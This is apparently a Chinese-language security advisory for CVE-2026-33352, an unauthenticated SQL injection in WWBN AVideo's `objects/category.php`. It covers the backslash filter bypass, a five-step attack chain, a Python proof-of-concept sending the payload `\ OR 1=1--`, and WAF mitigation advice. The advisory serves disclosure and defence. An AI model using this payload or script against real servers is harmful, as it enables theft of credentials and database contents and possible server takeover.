IPBUF安全漏洞报告
English
CVE-2026-33352 CVSS 9.8 严重

CVE-2026-33352 AVideo未认证SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33352
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SQL注入未认证漏洞WWBN AVideo严重CVE-2026-33352Web安全

漏洞概述

WWBN AVideo是一个开源视频平台,在26.0版本之前存在严重的安全漏洞。该漏洞位于`objects/category.php`文件中,由于对`doNotShowCats`参数的过滤机制不完善,仅移除单引号而忽略反斜杠,导致攻击者无需身份认证即可利用反斜杠转义技术绕过过滤。攻击者可借此执行任意SQL语句,造成敏感数据泄露或服务器被控,危害极高。

技术细节

该漏洞的根源在于不安全的输入处理。在`getAllCategories()`方法中,`doNotShowCats`参数经过`str_replace("'", '', ...)`处理,开发者误以为移除单引号即可防止SQL注入。然而,攻击者可以提交包含反斜杠(`\`)的Payload。当SQL语句构造为`... WHERE cat = '$input'`时,输入`\`会导致查询变为`... WHERE cat = '\'`。反斜杠转义了原本用于闭合字符串的单引号,使得后续的查询逻辑被当作SQL命令执行。由于该参数未受全局安全过滤器保护,且无需登录即可访问,攻击者可结合UNION SELECT等语句读取数据库中的管理员密码、用户信息,甚至在某些配置下写入WebShell获取服务器权限。

攻击链分析

STEP 1
信息收集
攻击者识别出目标系统运行的是WWBN AVideo平台,且版本低于26.0。
STEP 2
漏洞探测
攻击者向`objects/category.php`发送包含特殊字符(如反斜杠)的请求,测试服务器响应以确认过滤机制缺陷。
STEP 3
构造Payload
利用反斜杠转义单引号的特性,构造能够闭合SQL语句并注入恶意代码的Payload(例如:`\ OR 1=1--`)。
STEP 4
执行注入
攻击者无需认证,直接发送包含恶意`doNotShowCats`参数的HTTP请求,触发SQL注入漏洞。
STEP 5
数据窃取或控制
利用注入的SQL语句读取数据库敏感信息(如用户凭证),或者在特定条件下进一步执行系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): # Target endpoint based on vulnerability description target = f"{url}/objects/category.php" # The vulnerability lies in the 'doNotShowCats' parameter. # The application strips single quotes (') using str_replace. # We use a backslash (\) to escape the closing quote in the SQL query. # Conceptual SQL: SELECT * FROM categories WHERE doNotShowCats = '[INPUT]' # Payload: \ OR 1=1-- # After filter: \ OR 1=1-- # Resulting SQL: SELECT ... WHERE doNotShowCats = '\' OR 1=1--' # The backslash escapes the quote, injecting the OR condition. payload = "\\ OR 1=1--" params = { "doNotShowCats": payload } try: print(f"[+] Sending request to {target}") response = requests.get(target, params=params, timeout=10) # Analyze response to confirm injection (e.g., specific data or error) if response.status_code == 200: print("[+] Request sent successfully. Check response manually for data leakage or errors.") print(f"[+] Response length: {len(response.text)}") return True else: print("[-] Unexpected status code.") return False except Exception as e: print(f"Error: {e}") return False # Example usage # check_sqli("http://target-avideo-server.com")

影响范围

WWBN AVideo < 26.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截对`objects/category.php`的请求中包含反斜杠和SQL关键字的参数。同时,严格限制对`objects/category.php`文件的直接网络访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表